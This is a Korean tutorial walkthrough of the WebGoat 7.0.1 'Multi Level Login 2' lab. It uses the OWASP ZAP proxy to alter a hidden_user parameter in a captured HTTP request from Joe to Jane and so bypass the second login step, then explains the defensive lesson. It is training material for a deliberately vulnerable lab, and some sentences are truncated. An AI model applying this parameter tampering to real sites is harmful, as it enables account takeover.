홈페이지 취약점 분석 이야기 | 파일 지도 사진 깨알 |
---|
>> 목록보이기 WebGoat 계정인증 취약점: 다단계 로그인 2 실습설명서
이 문서는 WebGoat 7.0.1의 " 계정인증 취약점은 실제 웹취약점분석에서 자주 탐지되는 취약점 중의 하나이다. 비밀번호 변경, 비밀번호 찾기, 회원정보 변경 등에서 주로 발생한다. 이 과정에서 서버가 이미 알고 있는 값을 - 예를 들어 사용자 ID나 이메일 주소 - 웹브라우저로 전송한 후 이를 다시 받을 때 취약점이 발생한다. 웹 브라우저로 전송된 값은 정보유출일 뿐만 아니라 변수로 받을 때는 조작이 가능하기 때문이다. 이미 서버가 - 아마도 세션이나 DB 내에 - 파악(저장)하고 있는 값은 웹 브라우저로 전송해서는 안된다.
WH-WebGoat-7.0.1 웹해킹 훈련장을 구동한다.
구동에 관해서는 WH-WebGoat-7.0.1 라이브 ISO 문서를 참조한다.
여기서 WebGoat 훈련장의 IP주소는
WebGoat 실행이 완료되면 파이어폭스(FireFox) 웹브라우저로 훈련장에 접속한다.
훈련장 URL은 firefox http://192.168.189.238:8080/WebGoat/ owasp-zap 2&> /dev/null OWASP ZAP을 실행한다. Firefox의 환경설정(Preferences > Advanced > Network > Settings > Manual proxy configuration)에서 HTTP Proxy를 127.0.0.1:8080으로 설정한다. Authentication Flaws: Multi Level Login 2 공략
WebGoat 훈련장에 로그인하면 - 영문으로 - WebGoat 누리집을 사용법이 나온다.
왼쪽에 설명이나 기초적인 설명, 각종 취약점 실습 목차가 나온다.
오른쪽 중간 윗쪽에는
Authentication Flaws: Multi Level Login 2에 접속하면 로그인 화면이 보인다.
계정정보는
OWASP ZAP의 상단에 있는 "
1단계 로그인에 성공하면 TAN 값을 입력하라고 한다. TAN(Transaction Authenciation Number)은 미국의 은행에서 주로 사용하는 OTP(One Time Password)의 일종이라고 한다. 해당 TAN 값을 입력하고 계속 진행한다.
OWASP-ZAP의 요청에서 GET http://192.168.189.238:8080/WebGoat/attack?Screen=491&menu=500&hidden_user=Joe&tan2=4894&Submit=Submit HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: */* Accept-Language: en-US,en;q=0.5 X-Requested-With: XMLHttpRequest Referer: http://192.168.189.238:8080/WebGoat/start.mvc Cookie: JSESSIONID=53826CF1BAB29BFD2F569BA78F718755 Connection: keep-alive Content-Length: 0 Host: 192.168.189.238:8080 해당 HTTP 통신 내용은 위와 같았다. OWASP-ZAP에서 서버로 전송되는 값을 조작해보자.
GET http://192.168.189.238:8080/WebGoat/attack?Screen=491&menu=500&hidden_user=Jane&tan2=4894&Submit=Submit HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: */* Accept-Language: en-US,en;q=0.5 X-Requested-With: XMLHttpRequest Referer: http://192.168.189.238:8080/WebGoat/start.mvc Cookie: JSESSIONID=53826CF1BAB29BFD2F569BA78F718755 Connection: keep-alive Content-Length: 0 Host: 192.168.189.238:8080
OWASP-ZAP에서
위와 같이
계정인증 취약점은 대부분의 경우에 있어서 인증 과정에서 사용자의 입력값을 서버가 사용할 때 발생한다.
인증과정에서는 이미 인증된 데이터는 웹브라우저로부터 재입력 받아서는 안된다.
이 경우에는 [처음 작성한 날: 2016.12.09] [마지막으로 고친 날: 2016.12.10] < 이전 글 : WebGoat, LAB: DOM-Based cross-site scripting (2016.12.08) > 다음 글 : WebGoat, Code Quality: Discover Clues in the HTML (2016.12.10) ![]() 잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다. 문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문 |